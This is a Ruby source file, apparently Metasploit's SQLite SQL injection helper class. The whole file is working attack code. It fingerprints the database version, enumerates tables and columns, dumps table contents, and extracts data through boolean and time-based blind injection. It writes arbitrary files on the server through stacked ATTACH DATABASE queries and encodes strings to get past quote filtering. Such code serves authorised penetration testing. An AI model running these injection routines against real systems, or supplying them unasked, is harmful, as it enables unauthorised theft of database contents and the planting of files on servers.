#
# This class represents an SQLite Injection object, its primary purpose is to provide the common SQL queries
# needed for performing SQL injection on SQLite.
# This class should not be instanciated directly, refer to Msf::Exploit::SQLi#create_sqli.
#
module Msf::Exploit::SQLi::SQLitei
  class Common < Msf::Exploit::SQLi::Common

    #
    # Encoders available for SQLite
    #
    ENCODERS = {
      hex: {
        encode: 'hex(^DATA^)',
        decode: proc { |data| Rex::Text.hex_to_raw(data) }
      }
    }.freeze
    
    #
    # Creates an SQLite injection object, refer to SQLi::Common#initialize for a description of the options
    # @return [SQLi::SQLitei::Common]
    #
    def initialize(datastore, framework, user_output, opts = {}, &query_proc)
      opts[:concat_separator] ||= ','
      if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol)
        opts[:encoder] = opts[:encoder].downcase.intern
        opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]]
      end
      super
    end

    #
    #  Returns the version of SQLite in use
    #  @return [String] The version of SQLite in use
    #
    def version
      call_function('sqlite_version()')
    end

    #
    #  Returns the names of the tables present on the current database
    #  @return [Array] an array of Strings, the names of the tables in the current database
    #
    def enum_table_names
      dump_table_fields('sqlite_master', %w[tbl_name], "type='table'").flatten
    end

    #
    #   Returns the names of the columns of the given table
    #   NOTE: might not work if pragma_table_info is not supported, use run_sql,
    #   and query sql from sqlite_master if you need it in older versions of SQLite
    #   @param table [String] The name of a table
    #   @return [Array] an array of strings, the names of the columns of the given table
    #
    def enum_table_columns(table)
      dump_table_fields("pragma_table_info('#{table}')", %w[name]).flatten
    end

    #
    # Attempt writing data to the file at the given path
    # Note: target must support stacked queries, and injection point must be at the start of a new query
    # @return [void]
    #
    def write_to_file(fpath, data)
      db, tbl, col = 3.times.map { Rex::Text.rand_text_alpha(rand(2..5)) }
      raw_run_sql("attach database '#{fpath}' AS #{db}; create table #{db}.#{tbl}(#{col} blob); insert into #{db}.#{tbl}(#{col}) values('#{data}')")
    end

    #
    # Dumps data from a given table
    # @param table [String] The name of the table
    # @param columns [Array] an Array of Strings, the names of the columns to retrieve
    # @param condition [String] an optional condition, return only records that satisfy it
    # @param limit [Integer] optional, limit the number of rows to return to this value
    # @return [Array] an array of rows, each row being an array of strings, strings being values at the given columns
    #
    def dump_table_fields(table, columns, condition = '', limit = '')
      return '' if columns.empty?

      one_column = columns.length == 1
      if one_column
        columns = "ifnull(#{columns.first},'#{@null_replacement}')"
        columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder
      else
        columns = columns.map do |col|
          col = "ifnull(#{col},'#{@null_replacement}')"
          @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col
        end.join("||'#{@second_concat_separator}'||")
      end
      unless condition.empty?
        condition = ' where ' + condition
      end
      num_limit = limit.to_i
      if num_limit > 0
        limit = ' limit ' + num_limit.to_s
      end
      retrieved_data = nil
      if @safe
        # no group_concat, leak one row at a time
        row_count = run_sql("select count(1) from #{table}#{condition}").to_i
        num_limit = row_count if num_limit == 0 || row_count < num_limit
        retrieved_data = num_limit.times.map do |current_row|
          if @truncation_length
            truncated_query("select substr(cast(#{columns} as blob),^OFFSET^,#{@truncation_length}) from " \
            "#{table}#{condition} limit 1 offset #{current_row}")
          else
            run_sql("select cast(#{columns} as blob) from #{table}#{condition} limit 1 offset #{current_row}")
          end
        end
      else
        if num_limit > 0
          alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) }
          if @truncation_length
            retrieved_data = truncated_query('select substr(group_concat(' \
            "#{alias1},'#{@concat_separator}'),"\
            "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as blob) #{alias1} from #{table}"\
            "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
          else
            retrieved_data = run_sql("select group_concat(#{alias1},'#{@concat_separator}')"\
            " from (select cast(#{columns} as blob) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',')
          end
        else
          if @truncation_length
            retrieved_data = truncated_query('select substr(group_concat(' \
            "cast(#{columns} as blob),'#{@concat_separator}')," \
            "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator)
          else
            retrieved_data = run_sql("select group_concat(cast(#{columns} as blob),'#{@concat_separator}')" \
            " from #{table}#{condition}#{limit}").split(@concat_separator)
          end
        end
      end
      retrieved_data.map do |row|
        row = row.split(@second_concat_separator)
        @encoder ? row.map { |x| @encoder[:decode].call(x) } : row
      end
    end

    #
    #  Returns true if the SQL injection is found to work as expected
    #  @return [Boolean] whether the check determined that the SQL injection works
    #
    def test_vulnerable
      random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10)
      random_string = Rex::Text.rand_text_alphanumeric(random_string_len)
      query_string = "'#{random_string}'"
      query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder
      output = run_sql("select #{query_string}")
      return false if output.nil?
      (@encoder ? @encoder[:decode].call(output) : output) == random_string
    end

    private

    #
    # Runs the given SQL query, expecting that the block always returns @truncation_length characters,
    # replacing ^OFFSET^ with numbers, for internal use in other methods
    # @param query [String] The SQL query to run, containing ^OFFSET^
    # @return [String] The result of the SQL query
    #
    def truncated_query(query)
      result = [ ]
      offset = 1
      loop do
        slice = run_sql(query.sub(/\^OFFSET\^/, offset.to_s))
        offset += @truncation_length # should be same as @truncation_length for most cases
        result << slice
        vprint_status "{SQLi} Truncated output: #{slice} of size #{slice.size}"
        print_warning "The block returned a string larger than the truncation size : #{slice}" if slice.length > @truncation_length
        break if slice.length < @truncation_length
      end
      result.join
    end

    #
    #   Returns the result of an SQLite function call
    #   @param function [String] the function to call, parenthesis included, sqlite_version() for example
    #   @return [String] the output of the function
    #
    def call_function(function)
      function = @encoder[:encode].sub(/\^DATA\^/, function) if @encoder
      output = nil
      if @truncation_length
        output = truncated_query("select substr(#{function},^OFFSET^,#{@truncation_length})")
      else
        output = run_sql("select #{function}")
      end
      output = @encoder[:decode].call(output) if @encoder
      output
    end

    #
    #  Detects the length of the output of query in a blind manner
    #  @param query [String] The SQL query to execute
    #  @param timebased [Boolean] Whether or not it's a time-based blind injection
    #  @return [Integer] the length of the output of query
    #
    def blind_detect_length(query, timebased)
      sleep_part = ''
      if timebased
        sleep_part = " and randomblob(#{@heavyquery_parameter})"
      end
      output_length = 0
      i = 0
      loop do
        output_bit = blind_request("length(cast((#{query}) as blob))&#{1 << i}<>0#{sleep_part}")
        output_length |= (1 << i) if output_bit
        i += 1
        stop = blind_request("length(cast((#{query}) as blob))/#{1 << i}=0#{sleep_part}")
        break if stop
      end
      output_length
    end

    #
    #  Retrieves the result of query in a blind manner
    #  @param query [String] the SQL query to execute
    #  @param length [Integer] the expected length of the result
    #  @param known_bits [Integer] (returned by get_bitmask) bits that are common to all the output characters
    #  @param _bits_to_guess [Integer] (returned by get_bitmask) The number of bits to guess on each character of the output
    #  @param timebased [Boolean] Whether or not it's a time-based blind injection
    #  @return [String] The result of the given query
    #
    def blind_dump_data(query, length, known_bits, _bits_to_guess, timebased)
      sleep_part = ''
      if timebased
        sleep_part = " and randomblob(#{@heavyquery_parameter})"
      end
      output = length.times.map do |j|
        current_character = known_bits
        8.times do |k|
          output_bit = blind_request("unicode(substr(cast((#{query}) as blob), #{j + 1}, 1))&#{1 << k}<>0#{sleep_part}")
          current_character |= (1 << k) if output_bit
        end
        current_character.chr
      end.join
      output
    end

    #
    #  Encodes strings to bypass quotes filtering
    #  @param query [String] the SQL query to encode
    #  @return [String] the given SQL query where quoted strings are encoded
    #
    def hex_encode_strings(query)
      # for more encoding capabilities, run code at the beginning of your block
      query.gsub(/'.*?'|".*?"/) do |match|
        'char(' + match[1..-2].each_codepoint.map { |code| '0x' + code.to_s(16) }.join(',') + ')'
      end
    end
  end
end
